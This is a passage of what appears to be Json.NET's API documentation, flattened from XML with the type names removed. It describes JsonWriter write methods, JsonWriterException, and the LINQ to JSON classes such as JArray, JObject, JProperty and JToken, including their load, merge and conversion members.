for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes an undefined value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the given white space. - - The string of white space characters. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously ets the state of the . - - The being written. - The value being written. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Gets or sets a value indicating whether the destination should be closed when this writer is closed. - - - true to close the destination when this writer is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. - - - true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. - - - - - Gets the top. - - The top. - - - - Gets the state of the writer. - - - - - Gets the path of the writer. - - - - - Gets or sets a value indicating how JSON text output should be formatted. - - - - - Gets or sets how dates are written to JSON text. - - - - - Gets or sets how time zones are handled when writing JSON text. - - - - - Gets or sets how strings are escaped when writing JSON text. - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written to JSON text. - - - - - Gets or sets how and values are formatted when writing JSON text. - - - - - Gets or sets the culture used when writing JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the destination and also flushes the destination. - - - - - Closes this writer. - If is set to true, the destination is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the end of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the end of an array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end constructor. - - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes the end of the current JSON object or array. - - - - - Writes the current token and its children. - - The to read the token from. - - - - Writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - - - - Writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - - - - Writes the token. - - The to write. - - - - Writes the specified end token. - - The end token to write. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON without changing the writer's state. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Sets the state of the . - - The being written. - The value being written. - - - - The exception thrown when an error occurs while writing JSON text. - - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class - with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Specifies how JSON comments are handled when loading JSON. - - - - - Ignore comments. - - - - - Load comments as a with type . - - - - - Specifies how duplicate property names are handled when loading JSON. - - - - - Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. - - - - - Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. - - - - - Throw a when a duplicate property is encountered. - - - - - Contains the LINQ to JSON extension methods. - - - - - Returns a collection of tokens that contains the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the descendants of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, and the descendants of every token in the source collection. - - - - Returns a collection of child properties of every object in the source collection. - - An of that contains the source collection. - An of that contains the properties of every object in the source collection. - - - - Returns a collection of child values of every object in the source collection with the given key. - - An of that contains the source collection. - The token key. - An of that contains the values of every token in the source collection with the given key. - - - - Returns a collection of child values of every object in the source collection. - - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child values of every object in the source collection with the given key. - - The type to convert the values to. - An of that contains the source collection. - The token key. - An that contains the converted values of every token in the source collection with the given key. - - - - Returns a collection of converted child values of every object in the source collection. - - The type to convert the values to. - An of that contains the source collection. - An that contains the converted values of every token in the source collection. - - - - Converts the value. - - The type to convert the value to. - A cast as a of . - A converted value. - - - - Converts the value. - - The source collection type. - The type to convert the value to. - A cast as a of . - A converted value. - - - - Returns a collection of child tokens of every array in the source collection. - - The source collection type. - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child tokens of every array in the source collection. - - An of that contains the source collection. - The type to convert the values to. - The source collection type. - An that contains the converted values of every token in the source collection. - - - - Returns the input typed as . - - An of that contains the source collection. - The input typed as . - - - - Returns the input typed as . - - The source collection type. - An of that contains the source collection. - The input typed as . - - - - Represents a collection of objects. - - The type of token. - - - - Gets the of with the specified key. - - - - - - Represents a JSON array. - - - - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous load. The property contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous load. The property contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Loads an from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads an from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the at the specified index. - - - - - - Determines the index of a specific item in the . - - The object to locate in the . - - The index of if found in the list; otherwise, -1. - - - - - Inserts an item to the at the specified index. - - The zero-based index at which should be inserted. - The object to insert into the . - - is not a valid index in the . - - - - - Removes the item at the specified index. - - The zero-based index of the item to remove. - - is not a valid index in the . - - - - - Returns an enumerator that iterates through the collection. - - - A of that can be used to iterate through the collection. - - - - - Adds an item to the . - - The object to add to the . - - - - Removes all items from the . - - - - - Determines whether the contains a specific value. - - The object to locate in the . - - true if is found in the ; otherwise, false. - - - - - Copies the elements of the to an array, starting at a particular array index. - - The array. - Index of the array. - - - - Gets a value indicating whether the is read-only. - - true if the is read-only; otherwise, false. - - - - Removes the first occurrence of a specific object from the . - - The object to remove from the . - - true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . - - - - - Represents a JSON constructor. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets or sets the name of this constructor. - - The constructor name. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name. - - The constructor name. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a token that can contain other tokens. - - - - - Occurs when the items list of the collection has changed, or the collection is reset. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Raises the event. - - The instance containing the event data. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Get the first child token of this token. - - - A containing the first child token of the . - - - - - Get the last child token of this token. - - - A containing the last child token of the . - - - - - Returns a collection of the child tokens of this token, in document order. - - - An of containing the child tokens of this , in document order. - - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - - A containing the child values of this , in document order. - - - - - Returns a collection of the descendant tokens for this token in document order. - - An of containing the descendant tokens of the . - - - - Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. - - An of containing this token, and all the descendant tokens of the . - - - - Adds the specified content as children of this . - - The content to be added. - - - - Adds the specified content as the first children of this . - - The content to be added. - - - - Creates a that can be used to add tokens to the . - - A that is ready to have content written to it. - - - - Replaces the child nodes of this token with the specified content. - - The content. - - - - Removes the child nodes from this token. - - - - - Merge the specified content into this . - - The content to be merged. - - - - Merge the specified content into this using . - - The content to be merged. - The used to merge the content. - - - - Gets the count of child JSON tokens. - - The count of child JSON tokens. - - - - Represents a collection of objects. - - The type of token. - - - - An empty collection of objects. - - - - - Initializes a new instance of the struct. - - The enumerable. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Gets the of with the specified key. - - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Returns a hash code for this instance. - - - A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. - - - - - Represents a JSON object. - - - - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Occurs when a property value changes. - - - - - Occurs when a property value is changing. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Gets the node type for this . - - The type. - - - - Gets an of of this object's properties. - - An of of this object's properties. - - - - Gets a with the specified name. - - The property name. - A with the specified name or null. - - - - Gets the with the specified name. - The exact name will be searched for first and if no matching property is found then - the will be used to match a property. - - The property name. - One of the enumeration values that specifies how the strings will be compared. - A matched with the specified name or null. - - - - Gets a of of this object's property values. - - A of of this object's property values. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the with the specified property name. - - - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified property name. - - Name of the property. - The with the specified property name. - - - - Gets the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - One of the enumeration values that specifies how the strings will be compared. - The with the specified property name. - - - - Tries to get the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - The value. - One of the enumeration values that specifies how the strings will be compared. - true if a value was successfully retrieved; otherwise, false. - - - - Adds the specified property name. - - Name of the property. - The value. - - - - Determines whether the JSON object has the specified property name. - - Name of the property. - true if the JSON object has the specified property name; otherwise, false. - - - - Removes the property with the specified name. - - Name of the property. - true if item was successfully removed; otherwise, false. - - - - Tries to get the with the specified property name. - - Name of the property. - The value. - true if a value was successfully retrieved; otherwise, false. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Represents a JSON property. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the property name. - - The property name. - - - - Gets or sets the property value. - - The property value. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a raw JSON string. - - - - - Asynchronously creates an instance of with the content of the reader's current token. - - The reader. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns an instance of with the content of the reader's current token. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class. - - The raw json. - - - - Creates an instance of with the content of the reader's current token. - - The reader. - An instance of with the content of the reader's current token. - - - - Specifies the settings used when cloning JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets a flag that indicates whether to copy annotations when cloning a . - The default value is true. - - - A flag that indicates whether to copy annotations when cloning a . - - - - - Specifies the settings used when loading JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets how JSON comments are handled when loading JSON. - The default value is . - - The JSON comment handling. - - - - Gets or sets how JSON line info is handled when loading JSON. - The default value is . - - The JSON line info handling. - - - - Gets or sets how duplicate property names in JSON objects are handled when loading JSON. - The default value is . - - The JSON duplicate property name handling. - - - - Specifies the settings used when merging JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the method used when merging JSON arrays. - - The method used when merging JSON arrays. - - - - Gets or sets how null value properties are merged. - - How null value properties are merged. - - - - Gets or sets the comparison used to match property names while merging. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - The comparison used to match property names while merging. - - - - Specifies the settings used when selecting JSON. - - - - - Gets or sets a timeout that will be used when executing regular expressions. - - The timeout that will be used when executing regular expressions. - - - - Gets or sets a flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - A flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - - - Represents an abstract JSON token. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Writes this token to a asynchronously. - - A into which this method will write. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously creates a from a . - - An positioned at the token to read into this . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains - the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains - the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - A positioned at the token to read into this . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Gets a comparer that can compare two tokens for value equality. - - A that can compare two nodes for value equality. - - - - Gets or sets the parent. - - The parent. - - - - Gets the root of this . - - The root of this . - - - - Gets the node type for this . - - The type. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Compares the values of two tokens, including the values of all descendant tokens. - - The first to compare. - The second to compare. - true if the tokens are equal; otherwise false. - - - - Gets the next sibling token of this node. - - The that contains the next sibling token. - - - - Gets the previous sibling token of this node. - - The that contains the previous sibling token. - - - - Gets the path of the JSON token. - - - - - Adds the specified content immediately after this token. - - A content object that contains simple content or a collection of content objects to be added after this token. - - - - Adds the specified content immediately before this token. - - A content object that contains simple content or a collection of content objects to be added before this token. - - - - Returns a collection of the ancestor tokens of this token. - - A collection of the ancestor tokens of this token. - - - - Returns a collection of tokens that contain this token, and the ancestors of this token. - - A collection of tokens that contain this token, and the ancestors of this token. - - - - Returns a collection of the sibling tokens after this token, in document order. - - A collection of the sibling tokens after this tokens, in document order. - - - - Returns a collection of the sibling tokens before this token, in document order. - - A collection of the sibling tokens before this token, in document order. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets the with the specified key converted to the specified type. - - The type to convert the token to. - The token key. - The converted token value. - - - - Get the first child token of this token. - - A containing the first child token of the . - - - - Get the last child token of this token. - - A containing the last child token of the . - - - - Returns a collection of the child tokens of this token, in document order. - - An of containing the child tokens of this , in document order. - - - - Returns a collection of the child tokens of this token, in document order, filtered by the specified type. - - The type to filter the child tokens on. - A containing the child tokens of this , in document order. - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - A containing the child values of this , in document order. - - - - Removes this token from its parent. - - - - - Replaces this token with the specified token. - - The value. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Returns the indented JSON for this token. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - The indented JSON for this token. - - - - - Returns the JSON for this token using the given formatting and converters. - - Indicates how the output should be formatted. - A collection of s which will be used when writing the token. - The JSON for this token using the given formatting and converters. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to []. - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - 